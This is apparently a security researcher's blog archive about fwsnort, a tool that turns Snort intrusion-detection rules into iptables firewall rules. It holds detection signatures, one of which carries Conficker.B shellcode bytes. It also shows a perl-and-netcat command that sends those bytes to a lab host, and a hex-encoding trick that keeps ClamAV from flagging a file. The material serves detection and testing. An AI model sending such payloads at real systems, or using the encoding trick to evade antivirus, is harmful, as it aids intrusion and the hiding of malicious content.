cipherdyne.org

Michael Rash, Security Researcher



fwsnort    [Summary View]

Next »

Software Release - fwsnort-1.6

fwsnort-1.6 released The 1.6 release of fwsnort is available for download. This is a fairly significant release that adds support for the Snort fast_pattern keyword, makes enhancements to the --QUEUE and --NFQUEUE modes, supports the conntrack module for connection tracking, adds support for case-insensitive pattern matches using the --icase argument to the iptables string match extension, and several other things. The Snort fast_pattern keyword allows the rule author to influence the order in which Snort tries to match a pattern against network traffic. When multiple patterns are included in a rule, Snort usually tries to match the longest pattern first reasoning that the longest pattern is probably the least likely to trigger a match and therefore the remaining pattern searches would not have to be performed. But, there are times when the rule author would like to explicitly ask Snort to match on a particular pattern first, and the fast_pattern keyword is the mechanism that makes this possible. Because iptables matches are evaluated in order and a failing match short circuits a rule, fast_pattern support with the string match extension is possible through proper ordering in the iptables rule. Here is an example Snort rule from Emerging Threats with the fast_pattern keyword applied to the forth pattern: alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"ET WEB_CLIENT Possible Internet Explorer srcElement Memory Corruption Attempt"; flow:established,to_client; file_data; content:"document.createEventObject"; distance:0; nocase; content:".innerHTML"; within:100; nocase; content:"window.setInterval"; distance:0; nocase; content:"srcElement"; fast_pattern; nocase; distance:0; classtype:attempted-user; reference:url,www.microsoft.com/technet/security/bulletin/ms10-002.mspx; reference:url,tools.cisco.com/security/center/viewAlert.x?alertId=19726; reference:url,www.kb.cert.org/vuls/id/492515; reference:cve,2010-0249; reference:url,doc.emergingthreats.net/2010799; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/CURRENT_EVENTS/CURRENT_MSIE; sid:2010799; rev:5;) fwsnort translates this rule as follows in iptables-save format from the /etc/fwsnort/fwsnort.save file - the original iptables commands in non-save format are also available in the /etc/fwsnort/fwsnort_iptcmd.sh script: -A FWSNORT_FORWARD_ESTAB -p tcp -m tcp --sport 80 -m string --string "srcElement" --algo bm --from 82 --icase -m string --string "document.createEventObject" --algo bm --from 64 --icase -m string --string ".innerHTML" --algo bm --to 190 --icase -m string --string "window.setInterval" --algo bm --from 74 --icase -m comment --comment "sid:2010799; msg:ET WEB_CLIENT Possible Internet Explorer srcElement Memory Corruption Attempt; classtype:attempted-user; reference:url,www.microsoft.com/technet/security/bulletin/ms10-002.mspx; rev:5; FWS:1.6;" -j LOG --log-ip-options --log-tcp-options --log-prefix "SID2010799 ESTAB " Note that the srcElement string is matched first in the iptables rule even though it is the last string in the original Snort rule. With fast_pattern support, fwsnort policies should be a bit faster at run time in the in the Linux kernel. On a final note, the iptables multiport match is also supported with the fwsnort-1.6 release, so Snort rules with lists of source or destination ports (like this: "alert tcp $HOME_NET [0:20,22:24,26:138,140:444,446:464,466:586,588:901,903:1432,1434:65535] -> any any") can be translated.

The complete fwsnort-1.6 ChangeLog can be found here via the fwsnort gitweb interface.

Software Release - fwsnort-1.5

fwsnort-1.5 released The 1.5 release of fwsnort is available for download. This is a major release that moves to using the iptables-save format for instantiating the fwsnort policy, and this allows the run time for adding the fwsnort policy to the kernel to be drastically reduced. fwsnort now splices in the translated Snort rules into the iptables policy in the running kernel at the time of translation. So, any updates to the iptables policy that are made after fwsnort is executed and before fwsnort.sh is run would be lost. Hence, it is advisable to execute fwsnort.sh soon after running fwsnort. This is a reasonable tradeoff though considering the performance benefit as seen below - which gives an example of how long it takes to add an fwsnort iptables policy via the old strategy of executing one iptables command at a time vs. implementing the same policy with iptables-restore. First, fwsnort is used to translate the Snort web-misc.rules, web-cgi.rules, backdoor.rules files like so: [root@minastirith /etc/fwsnort]# fwsnort --snort-rfile web-misc.rules,web-cgi.rules,backdoor.rules --no-ipt-sync

[+] Generated iptables rules for 713 out of 754 signatures: 94.56%

[+] Logfile: /var/log/fwsnort/fwsnort.log
[+] iptables script (individual commands): /etc/fwsnort/fwsnort_iptcmds.sh

Main fwsnort iptables-save file: /etc/fwsnort/fwsnort.save

You can instantiate the fwsnort policy with the following command:

/sbin/iptables-restore < /etc/fwsnort/fwsnort.save

Or just execute: /etc/fwsnort/fwsnort.sh
The output above illustrates the changes for the fwsnort-1.5 release. All of the previous behavior in fwsnort has been preserved in the /etc/fwsnort/fwsnort_iptcmds.sh script. That is, each individual iptables command to add every fwsnort rule one by one is implemented in this script - this is analogous to how the fwsnort.sh script was built by older versions of fwsnort. But, with the 1.5 release the fwsnort.sh script now just executes the iptables-restore command against the new fwsnort.save file.

If we execute the fwsnort_iptcmds.sh script and time its execution, we get the following on my desktop system: [root@minastirith /etc/fwsnort]# time /etc/fwsnort/fwsnort_iptcmds.sh
[+] Adding backdoor rules:
Rules added: 122
[+] Adding web-cgi rules:
Rules added: 696
[+] Adding web-misc rules:
Rules added: 600
[+] Finished.

real 0m24.391s
user 0m1.560s
sys 0m11.500s
[root@minastirith /etc/fwsnort]# iptables -v -nL |wc -l
1509
So, the fwsnort policy together with the running iptables policy is about 1500 rules long, and it took over 24 seconds to add to the running kernel. Now, let's time the fwsnort.sh script instead (which is just a wrapper around the iptables-restore command): [root@minastirith /etc/fwsnort]# time /etc/fwsnort/fwsnort.sh

[+] Splicing fwsnort rules into the iptables policy...
Done.


real 0m0.121s
user 0m0.060s
sys 0m0.040s
[root@minastirith /etc/fwsnort]# iptables -v -nL |wc -l
1509
Ok, over 24 seconds to instantiate the fwsnort policy for the old strategy, and about a 10th of a second for the new strategy for a speed up of 240 times! This gets even better for an fwsnort policy with thousands of rules. Note that the number of iptables rules is the same between the two executions.

The complete ChangeLog entries are displayed below:

  • Major update to use the iptables-save format instead of the older strategy of always just executing iptables commands directly (which was very flow for large fwsnort policies). The /etc/fwsnort/fwsnort.sh script now just executes:

    /sbin/iptables-restore < /etc/fwsnort/fwsnort.save

    All fwsnort rules are now placed in the /etc/fwsnort/fwsnort.save file, but the older fwsnort.sh output (for the individual commands version) is still available at /etc/fwsnort/fwsnort_iptcmds.sh. This functionality extends to ip6tables policies as well. The fwsnort man page explain this in better detail:

    "As of fwsnort-1.5 all iptables rules built by fwsnort are written out to the /etc/fwsnort/fwsnort.save file in iptables-save format. This allows a long fwsnort policy (which may contain thousands of iptables rules translated from a large Snort signature set) to be quickly instantiated via the "iptables-restore" command. A wrapper script /etc/fwsnort/fwsnort.sh is also written out to make this easy. Hence, the typical work flow for fwsnort is to: 1) run fwsnort, 2) note the Snort rules that fwsnort was able to successfully translate (the number of such rules is printed to stdout), and then 3) execute the /etc/fwsnort/fwsnort.sh wrapper script to instantiate the policy in the running kernel."
  • Added the --rules-url argument so that the URL for updating the Emerging Threats rule set can be specified from the command line. The default is:

    http://rules.emergingthreats.net/open/snort-2.9.0/emerging-all.rules
  • Updated to automatically check for the maximum length string that the string match supports, and this is used to through out any Snort rules with content matches longer than this length.
  • Updated the iptables capabilities testing routines to add and delete testing rules to/from the custom chain 'FWS_CAP_TEST'. This maintains a a cleaner separation between fwsnort and any existing iptables policy even during the capabilities testing phase.
  • Added the --ipt-check-capabilities argument to have fwsnort test the capabilities of the local iptables firewall and exit.
  • Added the --string-match-alg argument to allow the string matching algorithm used by fwsnort to be specified from the command line. The default algorithm is 'bm' for 'Boyer-Moore', but 'kmp' may also be specified (short for the 'Knuth-Morris-Pratt' algorithm).
  • Updated to the latest complete rule set from Emerging Threats (see http://www.emergingthreats.net/).

How to avoid ClamAV matches on bundled Snort rules

ClamAV matches on Snort rules Recently a psad user notified me via email that the psad-2.1.7.tar.gz tarball was flagged by ClamAV as being infected with Exploit.HTML.MHTRedir-8. After checking a few things, it turns out that ClamAV is triggering on a Snort rule in the Emerging Threats rule set which is bundled in both psad and fwsnort. The following analysis shows exactly what ClamAV is detecting and why, and also provides some guidance for how to avoid this for any software projects that distribute Snort rules. Similar logic would apply to other software engineering efforts - including commercial intrusion detection systems - that are (by their nature) looking for malicious artifacts on the filesystem or within network traffic.

First, let's download psad-2.1.7.tar.gz and check the gpg signature (just to make sure we're talking about exactly the same file): $ wget --quiet http://www.cipherdyne.org/psad/download/psad-2.1.7.tar.gz
$ wget --quiet http://www.cipherdyne.org/psad/download/psad-2.1.7.tar.gz.asc
$ gpg --verify psad-2.1.7.tar.gz.asc
gpg: Signature made Wed 14 Jul 2010 06:01:42 PM EDT using DSA key ID 0D3E7410
gpg: Good signature from "Michael Rash (Signing key for cipherdyne.org projects) <mbr@cipherdyne.org>"
Ok, now here is what clamscan says about the psad-2.1.7.tar.gz tarball: $ clamscan psad-2.1.7.tar.gz
psad-2.1.7.tar.gz: Exploit.HTML.MHTRedir-8 FOUND

----------- SCAN SUMMARY -----------
Known viruses: 816934
Engine version: 0.96.1
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 6.42 MB
Data read: 1.16 MB (ratio 5.55:1)
Time: 7.169 sec (0 m 7 s)
Let's see which file within the psad-2.1.7 tarball matches the Exploit.HTML.MHTRedir-8 signature: $ tar xfz psad-2.1.7.tar.gz
$ clamscan -r -i psad-2.1.7
psad-2.1.7/deps/snort_rules/emerging-all.rules: Exploit.HTML.MHTRedir-8 FOUND

----------- SCAN SUMMARY -----------
Known viruses: 816934
Engine version: 0.96.1
Scanned directories: 41
Scanned files: 405
Infected files: 1
Data scanned: 12.55 MB
Data read: 6.41 MB (ratio 1.96:1)
Time: 8.446 sec (0 m 8 s)
Intuitively, this makes sense. That is, given that ClamAV is out to identify nasty things within files, and given that Snort rules are designed to identify nasty things as they communicate over the network, it stands to reason that there might be some overlap. This overlap is not an indication of something wrong in either the Snort rules or in ClamAV. Now, let's find out specifically which Snort rule within the emerging-all.rules file is triggering the ClamAV match. We first take a look at the Exploit.HTML.MHTRedir-8 signature: $ cp /var/lib/clamav/main.cvd .
$ sigtool --unpack main.cvd
$ grep Exploit.HTML.MHTRedir-8 main.ndb
Exploit.HTML.MHTRedir-8:3:*:6d68746d6c3a66696c653a2f2f{1-20}2168
The last line above is the entire ClamAV signature, and the pattern 6d68746d6c3a66696c653a2f2f is the key. The ":3:" part identifies the signature as type "normalized HTML", so ClamAV matches the pattern 6d68746d6c3a66696c653a2f2f against the "normalized HTML" representation of each processed file. We can decode the pattern as follows: echo 6d68746d6c3a66696c653a2f2f | xxd -r -p
mhtml:file://
So, within the emerging-all.rules file, we are interested in any Snort rule that contains the string mhtml:file://. There is also the "{1-20}2168" criteria which says to match the hex bytes 2168 anywhere from 1 to 20 bytes after the first pattern match. $ grep mhtml psad-2.1.7/deps/snort_rules/emerging-all.rules
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET MALWARE Bundleware Spyware CHM Download"; flow: to_server,established; content:"Referer\: ms-its\:mhtml\:file\://C\:counter.mht!http\://"; nocase; content:"/counter/HELP3.CHM\:\:/help.htm"; nocase; classtype: trojan-activity; sid: 2001452; rev:4;)
Sure enough, sid:2001452 "ET MALWARE Bundleware Spyware CHM Download" has the keyword content:"Referer\: ms-its\:mhtml\:file\://C\:counter.mht!http\://". Even though there are escaping backslashes, the normalized HTML processing in ClamAV takes this into account and matches the pattern anyway from the ClamAV signature.

So, how can we keep the original Snort rule, but change it so that ClamAV not longer flags it?

Fortunately, ClamAV does not interpret the Snort rules convention of specifying non-printable bytes between "|" characters within content fields, so we simply need to change one of characters to hex notation. Snort will still offer the same detection if network traffic matches the rule, and ClamAV won't flag it. So, let's just change the "m" in "mhtml\:file\://" to its hex equivalent, like so: "|6d|html\:file\://". Once we make this change and save the psad-2.1.7/deps/snort_rules/emerging-all.rules file, we rerun clamscan: $ clamscan -r -i psad-2.1.7

----------- SCAN SUMMARY -----------
Known viruses: 816934
Engine version: 0.96.1
Scanned directories: 41
Scanned files: 405
Infected files: 0
Data scanned: 17.23 MB
Data read: 6.41 MB (ratio 2.69:1)
Time: 10.024 sec (0 m 10 s)
That's better. Over the next few days I'll re-release all affected versions of psad and fwsnort with the above change to ensure that there aren't any additional ClamAV matches.

In conclusion, if you are involved in any software engineering effort that distributes or makes use of Snort rules, it is probably a good idea to run distribution packages through ClamAV and see if there are any matches. If so, it may be possible to take advantage of Snort rule syntax options to still achieve the same signature coverage while not having ClamAV flag anything.

fwsnort Available in Fedora Repositories

fwsnort on Fedora The fwsnort project is now available directly through the Fedora RPM repositories (for Fedora 12 and 13) thanks to Guillermo Gomez. The version that is currently bundled is fwsnort-1.0.6. Once fwsnort-1.2 is released, the implementation of large iptables rule sets that are derived from Snort rules will become a lot faster. This is because fwsnort is going to support the iptables-save format by integrating the complex rules built by fwsnort with any existing iptables policy that is instantiated in the kernel. This is made possible by interpreting the local policy and splicing in all of the fwsnort rules in the right places - each iptables chain is built from scratch upon an iptables-restore (including the built-in chains), so integrating with a running policy is not as easy as just adding each fwsnort rule into a set of custom chains. Compatibility with the iptables-save format has largely been completed with this patch in the fwsnort-1.2 development effort.

If you are running a Fedora 12 or 13 system, you can install fwsnort like so: # yum install fwsnort

Software Release - fwsnort-1.1

software release fwsnort-1.1 The 1.1 release of fwsnort is ready for download. This is a significant release that adds support for ip6tables so that SNORT ® inspection logic can be applied to IPv6 traffic within the Linux kernel. This release also includes a new feature that allows fwsnort to build perl commands interfaced with netcat that generate packet data that matches Snort rules (for those that that can be faithfully translated - see the --include-perl-triggers command line argument and associated comments within the fwsnort.sh file).

Here is the complete fwsnort-1.1 ChangeLog:

  • Added the ability to build an fwsnort policy that utilizes ip6tables instead of iptables. This allows fwsnort filtering and altering capabilities to apply to IPv6 traffic instead of just IPv4 traffic. To enable ip6tables usage, use the "-6" or "--ip6tables" command line arguments.
  • Added the --include-perl-triggers command line argument so that translated Snort rules can easily be tested. This argument instructs fwsnort to include 'perl -e print ... ' commands as comments in the /etc/fwsnort/fwsnort.sh script, and these commands can be combined with netcat to send payloads across the wire that match Snort rules.
  • Updated fwsnort to create logs in the /var/log/fwsnort/ directory instead of directly in the /var/log/ directory. The path is controlled by a new variable 'LOG_FILE' in the /etc/fwsnort/fwsnort.conf file.
  • Added several variables in /etc/fwsnort/fwsnort.conf to control paths to everything from the config file to the snort rules path. Coupled with this is the ability to create variables within path components and fwsnort will expand them (e.g. 'CONF_DIR /etc/fwsnort; CONF_FILE $CONF_DIR/fwsnort.conf').
  • Added --Last-cmd arg so that it is easy to rebuild the fwsnort.sh script with the same command line args as the previous execution.
Snort is a registered trademark of Sourcefire, Inc.

Disrupting Conficker Worm Traffic with iptables and fwsnort

fwsnort vs. Conficker Although the media blitz surrounding the Conficker worm has died down, the worldwide computing infrastructure that the worm has cobbled together still exists and remains under the control of its masters. The resulting botnet is an impressive demonstration of distributed computing control and recoverability. Many organizations - from companies to governments - would be envious of such automation. Most likely the botnet is being used as a money making machine by renting out "botnet time" to criminals who then use it for their own purposes. New Scientist has a good summary of the Conficker saga, and includes a discussion of its switch from HTTP to a peer-to-peer module for communications and updates. Even though Conficker has perhaps not yet been used to issue DoS attacks against high profile sites, it has had measurable impacts such as leaving Manchester unable to issue parking tickets and Microsoft announcing a $250,000 bounty on the Conficker authors. On the defense side, the Conficker Working Group has produced some nice infection distribution maps and Nmap added Conficker scan detection based on an excellent paper written by Tillmann Werner and Felix Leder.

In the context of iptables and fwsnort, the goal is to give Linux systems the ability to detect and interfere network traffic associated with Conficker (at least as much as possible), and this process starts with Snort rules from the Emerging Threats rule set. There are currently six active Snort rules designed to detect Conficker in the Emerging Threats set, and an additional four that have been commented out. The six active rules so far detect the Conficker.A and Conficker.B variants, but hopefully more rules will become available as better detection techniques are developed.

Now, how does fwsnort do with translating the six Emerging Threats rules? Let's find out with the command below. This uses the --include-regex feature to restrict fwsnort to just those rules that contain the string "conficker", and we also add the new --include-perl-trigger argument (to be released in fwsnort-1.0.7) that builds a perl command to mimic the application layer data in each Snort rule. By combining this perl command with netcat, it is possible to test whether the iptables policy built by fwsnort properly detects attacks. Finally, we also use the --ipt-reject argument to have iptables drop any packet that matches the Conficker signatures and reset the connection at the same time: # fwsnort --include-regex conficker --include-re-caseless --snort-rfile /etc/fwsnort/snort_rules/emerging-all.rules --include-perl-triggers --ipt-reject | tail -n 4
[+] Generated iptables rules for 3 out of 6 signatures: 50.00%

[+] Logfile: /var/log/fwsnort.log
[+] iptables script: /etc/fwsnort/fwsnort.sh
Ok, so three out of the six signatures (I'm using 'signature' and 'rule' interchangeably in this blog post) converted properly to iptables rules. Those that did not convert contain elements such as pcre and threshold that are not currently supported by fwsnort.

Below is an example of one Snort signature that did convert correctly. This is rule ID 2009201, and it detects shellcode directed at TCP/445 from Conficker.B: alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"ET CURRENT_EVENTS Conficker.b Shellcode"; flow:established,to_server; content:"|e8 ff ff ff ff c2|_|8d|O|10 80|1|c4|Af|81|9MSu|f5|8|ae c6 9d a0|O|85 ea|O|84 c8|O|84 d8|O|c4|O|9c cc|Ise|c4 c4 c4|,|ed c4 c4 c4 94|&<O8|92|\;|d3|WG|02 c3|,|dc c4 c4 c4 f7 16 96 96|O|08 a2 03 c5 bc ea 95|\;|b3 c0 96 96 95 92 96|\;|f3|\;|24 |i|95 92|QO|8f f8|O|88 cf bc c7 0f f7|2I|d0|w|c7 95 e4|O|d6 c7 17 cb c4 04 cb|{|04 05 04 c3 f6 c6 86|D|fe c4 b1|1|ff 01 b0 c2 82 ff b5 dc b6 1f|O|95 e0 c7 17 cb|s|d0 b6|O|85 d8 c7 07|O|c0|T|c7 07 9a 9d 07 a4|fN|b2 e2|Dh|0c b1 b6 a8 a9 ab aa c4|]|e7 99 1d ac b0 b0 b4 fe eb eb|"; reference:url,www.honeynet.org/node/388; reference:url,doc.emergingthreats.net/2009201; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/CURRENT_EVENTS/CURRENT_Conficker; classtype:trojan-activity; sid:2009201; rev:4;) Here is the equivlent iptables command built by fwsnort and included in the /etc/fwsnort/fwsnort.sh script. Note the usage of the FWSNORT_FORWARD_ESTAB chain which is reserved for packets that are part of established TCP connections: $IPTABLES -A FWSNORT_FORWARD_ESTAB -p tcp --dport 445 -m string --hex-string "|e8ffffffffc2|_|8d|O|1080|1|c4|Af|81|9MSu|f5|8|aec69da0|O|85ea|O|84c8|O|84d8|O|c4|O|9ccc|Ise|c4c4c4|,|edc4c4c494|&<O8|923bd3|WG|02c3|,|dcc4c4c4f7169696|O|08a203c5bcea953bb3c096969592963bf33b24|i|9592|QO|8ff8|O|88cfbcc70ff7|2I|d0|w|c795e4|O|d6c717cbc404cb|{|040504c3f6c686|D|fec4b1|1|ff01b0c282ffb5dcb61f|O|95e0c717cb|s|d0b6|O|85d8c707|O|c0|T|c7079a9d07a4|fN|b2e2|Dh|0cb1b6a8a9abaac4|]|e7991dacb0b0b4feebeb|" --algo bm -m comment --comment "sid:2009201; msg:ET CURRENT_EVENTS Conficker.b Shellcode; classtype:trojan-activity; reference:url,www.honeynet.org/node/388; rev:4; FWS:1.0.6;" -j LOG --log-ip-options --log-tcp-options --log-prefix "[3] DRP SID2009201 ESTAB " Because the pattern in the above signature is longer than 128 bytes, we'll increase the value of the MAX_STRING_LEN variable to 256 in the /etc/fwsnort/fwsnort.conf file. With that done, let's execute the /etc/fwsnort/fwsnort.sh script now and see how iptables handles such traffic on the wire: # /etc/fwsnort/fwsnort.sh
[+] Adding emerging-all rules:
iptables v1.4.1.1: STRING too long `|e8ffffffffc2|_|8d|O|1080|1|c4|Af|81|9MSu|f5|8|aec69da0|O|85ea|O|84c8|O|84d8|O|c4|O|9ccc|Ise|c4c4c4|,|edc4c4c494|&<O8|923bd3|WG|02c3|,|dcc4c4c4f7169696|O|08a203c5bcea953bb3c096969592963bf33b24|i|9592|QO|8ff8|O|88cfbcc70ff7|2I|d0|w|c795e4|O|d6c717cbc404cb|{|040504c3f6c686|D|fec4b1|1|ff01b0c282ffb5dcb61f|O|95e0c717cb|s|d0b6|O|85d8c707|O|c0|T|c7079a9d07a4|fN|b2e2|Dh|0cb1b6a8a9abaac4|]|e7991dacb0b0b4feebeb|' Try `iptables -h' or 'iptables --help' for more information.
Ok, that is disappointing. It turns out that iptables currently enforces a 128-byte maximum on all strings supplied to the string match extension for inspecting payload data. Normally this is not a problem since the individual patterns in most Snort rules are typically less than 128 bytes, but in this case we'd like to work around this limitation. To do so requires that we patch and recompile the xt_string kernel module (assuming xt_string is configured as a module) with the following patch: # git diff
diff --git a/include/linux/netfilter/xt_string.h b/include/linux/netfilter/xt_string.h
index 8a6ba7b..afc60a2 100644
--- a/include/linux/netfilter/xt_string.h
+++ b/include/linux/netfilter/xt_string.h
@@ -1,7 +1,7 @@
#ifndef _XT_STRING_H
#define _XT_STRING_H

-#define XT_STRING_MAX_PATTERN_SIZE 128
+#define XT_STRING_MAX_PATTERN_SIZE 256
#define XT_STRING_MAX_ALGO_NAME_SIZE 16

enum {
@@ -15,7 +15,7 @@ struct xt_string_info
u_int16_t to_offset;
char algo[XT_STRING_MAX_ALGO_NAME_SIZE];
char pattern[XT_STRING_MAX_PATTERN_SIZE];
- u_int8_t patlen;
+ u_int16_t patlen;
union {
struct {
u_int8_t invert;
With the new xt_string module loaded let's execute the fwsnort.sh script once again: # /etc/fwsnort/fwsnort.sh
[+] Adding emerging-all rules:
Rules added: 12
[+] Finished.
Ah, that's better. The fwsnort iptables policy loaded properly in the running kernel. Now, let's use the perl trigger command along with netcat to send data across the wire that should match the signature. The trigger itself can be found in the /etc/fwsnort/fwsnort.sh script. First, we fire up a netcat server on TCP port 445 on a target system which is protected by another system running the fwsnort iptables policy, and then with the perl trigger we send bytes that match the Conficker.B shell code signature across the wire to the target. The complete perl command is listed below even though it certainly is obtuse looking. You can see how the bytes it is printing match the content strings in the original signature: [target]# nc -l -p 445
[attacker]$ perl -e 'print "\xe8\xff\xff\xff\xff\xc2_\x8dO\x10\x801\xc4Af\x819MSu\xf58\xae\xc6\x9d\xa0O\x85\xeaO\x84\xc8O\x84\xd8O\xc4O\x9c\xccIse\xc4\xc4\xc4,\xed\xc4\xc4\xc4\x94&<O8\x92\x3b\xd3WG\x02\xc3,\xdc\xc4\xc4\xc4\xf7\x16\x96\x96O\x08\xa2\x03\xc5\xbc\xea\x95\x3b\xb3\xc0\x96\x96\x95\x92\x96\x3b\xf3\x3b\x24i\x95\x92QO\x8f\xf8O\x88\xcf\xbc\xc7\x0f\xf72I\xd0w\xc7\x95\xe4O\xd6\xc7\x17\xcb\xc4\x04\xcb{\x04\x05\x04\xc3\xf6\xc6\x86D\xfe\xc4\xb11\xff\x01\xb0\xc2\x82\xff\xb5\xdc\xb6\x1fO\x95\xe0\xc7\x17\xcbs\xd0\xb6O\x85\xd8\xc7\x07O\xc0T\xc7\x07\x9a\x9d\x07\xa4fN\xb2\xe2Dh\x0c\xb1\xb6\xa8\xa9\xab\xaa\xc4]\xe7\x99\x1d\xac\xb0\xb0\xb4\xfe\xeb\xeb"' |nc 10.1.1.1 445
The fwsnort iptables policy has reset the connection, and the following iptables log message was also produced: Jul 4 13:23:18 fwsnort kernel: [10966.350782] [2] REJ SID2009201 ESTAB IN=lo OUT= MAC=AB:00:00:AB:00:00:AB:00:00:AB:00:00:08:00 SRC=192.168.10.1 DST=10.1.1.1 LEN=244 TOS=0x00 PREC=0x00 TTL=64 ID=5976 DF PROTO=TCP SPT=49053 DPT=445 WINDOW=513 RES=0x00 ACK PSH URGP=0 OPT (0101080A0028B05B0028B058) Of course, the best defense against Conficker is to patch Windows systems against the MS08-067 vulnerability, and to use Nmap to scan for systems that are already infected. Those that are should be completely reimaged.

Software Release - fwsnort-1.0.6

software release fwsnort-1.0.6 The 1.0.6 release of fwsnort is ready for download. This release fixes a bug that caused some Snort rules to not be translated into iptables rules due to improper handling of escaped semicolons. Now that this bug has been fixed, an additional 58 rules from the Emerging Threats rule set are now properly supported. Also made it easier to point fwsnort at a single file with a Snort rule set to be converted (see the --fwsnort-rfile command line argument).

Here is the complete ChangeLog:

  • (Franck Joncourt) Updated fwsnort to use the "! <option> <arg> syntax instead of the older "<option> ! <arg> for the iptables command line.
  • (Franck Joncourt) For the --hex-string and --string matches, if the argument exceeds 128 bytes (iptables 1.4.2) then iptables fails with an error "iptables v1.4.2: STRING too long". Fixes this with a patch that adds a new variable in fwsnort.conf "MAX_STRING_LEN", so that the size of the content can be limited. If the content (null terminated string) is more than MAX_STRING_LEN chars, fwsnort throws the rule away.
  • Bug fix to allow fwsnort to properly translate snort rules that have "content" fields with embedded escaped semicolons (e.g. "\;"). This allows fwsnort to translate about 58 additional rules from the Emerging Threats rule set.
  • Bug fix to allow case insensitive matches to work properly with the --include-re-caseless and --exclude-re-caseless arguments.
  • Bug fix to move the 'rawbytes' keyword to the list of keywords that are ignored since iptables does a raw match anyway as it doesn't run any preprocessors in the Snort sense.
  • Added the --snort-rfile argument so that a specific Snort rules file (or list of files separated by commas) is parsed.
  • Added a small hack to choose the first port from a port list until the iptables 'multiport' match is supported.
  • Updated to consolidate spaces in hex matches in the fwsnort.sh script since the spaces are not part of patterns to be searched anyway.
  • Updated to the latest complete rule set from Emerging Threats (see http://www.emergingthreats.net/).
  • Added the "fwsnort-nobuildreqs.spec" file for building fwsnort on systems (such as Debian) that do not install/upgrade software via RPM. This file omits the "BuildRequires: perl-ExtUtils-MakeMaker" directive, and this fixes errors like the following on an Ubuntu system when building fwsnort with rpmbuild: rpm: To install rpm packages on Debian systems, use alien. See README.Debian.
    error: cannot open Packages index using db3 - No such file or directory (2)
    error: cannot open Packages database in /var/lib/rpm

Handling Escaped Semicolons in Snort Rules with fwsnort

fwsnort and escaped semicolons in Snort rules Recently I ran into a situation in which several Snort rules from the Emerging Threats rule sets were not being properly translated into iptables rules by fwsnort. It turned out that fwsnort did not correctly parse Snort content fields that contained escaped semicolons (e.g. "\;"). In the Snort signature language, the argument to every keyword in the body of a Snort rule such as content, pcre, and flowbits is terminated with a semicolon, and some keywords also use opening and closing double quotes. But, Snort supports escaping with a backslash so that these characters can easily be made to be part of a keyword argument as opposed to the delimiting syntax. Snort does not allow the argument of a content keyword to contain an embedded semicolon that is not escaped (e.g. content:"distloc=;";), and will generate an error similar to the following if a rule does not conform to this: Initializing rule chains...
ERROR: /etc/snort/rules/web-cgi.rules(3) =& Content data needs to be enclosed in quotation marks (")!
Fatal Error, Quitting..
In this case, we change content:"distloc=;"; to content:"distloc=\;"; and the error goes away. However, in addition to the escaping mechanism, any double quote or semicolon that is part of a content field can just be specified in hex notation between pipe "|" characters instead.

So, what are the tradeoffs in using one convention vs. the other?

Using backslashes can complicate the way an argument looks (since backslashes are not part of the content that is actually searched for in network traffic), but they can also make the argument more intuitive to look at than the hex syntax. This can be important when looking at lots of packet traces. For example, in web traffic the semicolon is used in HTTP request headers as a separator and therefore has special significance in HTTP, and the semicolon is also a separator for multiple commands launched from a command shell. So, for those that don't automatically know the hex equivalent of a semicolon (0x3b), it might be better to look at content:"distloc=\;"; instead of content:"distloc=|3B|"; when interpreting signature matches against raw packet traces since it emphasizes the importance of the semicolon.

There are important examples of Snort rule sets that use each strategy for the arguments to content fields (escaped semicolons vs. the hex equivalent). The complete Emerging Threats rule set contains 58 signatures with escaped semicolons: $ perl -lwne 'while (/content:"(.*?)"/g) { $tmp = $1; if ($tmp =~ /\x3b/) { print $tmp; }} ' emerging-all.rules |wc -l
58
Note that the 'while (/content:"(.*?)"/g)' loop is necessary above in order to parse all content fields from each Snort rule - using something like 'if (/content:"(.*?)"/' would just parse the very first content field in each Snort rule. Here is an example content field from the "ET MALWARE Vaccine-program.co.kr Related Spyware Checkin" signature: |0d 0a|User-Agent\: Mozilla/3.0 (compatible\; Indy Library)|0d 0a| By contrast, I've seen a few Sourcefire VRT rule sets, and none of them appear to use escaped semicolons in any of their signatures. They always prefer to use the "|3B|" hex notation.

Now, why is this important for fwsnort? The reason is that the current version - fwsnort-1.0.5 - does not properly parse content fields with escaped semicolons. However, this will be corrected in the upcoming fwsnort-1.0.6 release, which will be completed within the next two days or so. In the meantime, here is a link to fwsnort-1.0.6-pre4 that corrects this issue.

ISSA Journal's Toolsmith on fwsnort and iptables IDS

ISSA Toolsmith on fwsnort Russ McRee of holisticinfosec.org has written the October Toolsmith issue from the ISSA Journal about fwsnort and intrusion detection. Russ emphasizes practical usages of fwsnort with tuning the Snort signature set it translates into an iptables policy, and after using fwsnort to build a detection policy, he sends several example attacks at a webserver. These attacks include directory traversal, XSS, and CSRF attacks, and he illustrates how the attacks are detected by fwsnort via the iptables log messages it generates. Here is an attack identified as ET WEB-MISC Poison Null Byte by Snort rule ID 2003099, and below is the log message generated by fwsnort when the attack is sent against a webserver: alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET WEB-MISC Poison Null Byte"; flow:established,to_server; uricontent:"|00|"; depth:400; reference:cve,2006-4542; reference:cve,2006-4458; reference:cve,2006-3602; reference:url,www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf; classtype: web-application-activity; sid:2003099; rev:3;)

Sep 4 16:59:45 holisticinfosec01 kernel: [29567.666562] [234] SID2003099 ESTAB IN=eth0 OUT= MAC=00:0c:6e:3c:b4:71:00:13:e8:e8:81:37:08:00 SRC=192.168.248.101 DST=192.168.248.104 LEN=40 TOS=0x00 PREC=0x00 TTL=128 ID=24638 DF PROTO=TCP SPT=7987 DPT=80 WINDOW=16126 RES=0x00 ACK URGP=0
Note the iptables log prefix "[234] SID2003099 ESTAB" above. This indicates that rule number 234 (from the custom FWSNORT_INPUT_ESTAB chain in this case which is jumped to from the built-in INPUT chain) matched traffic described by Snort rule ID 234, and that the match took place in an ESTABLISHED TCP connection. By using the iptables state tracking extensions, fwsnort matches up TCP connection states to packets on the wire in order to emulate the Snort flow keyword - at least to the extent that bi-directional communication is required before an event is generated.

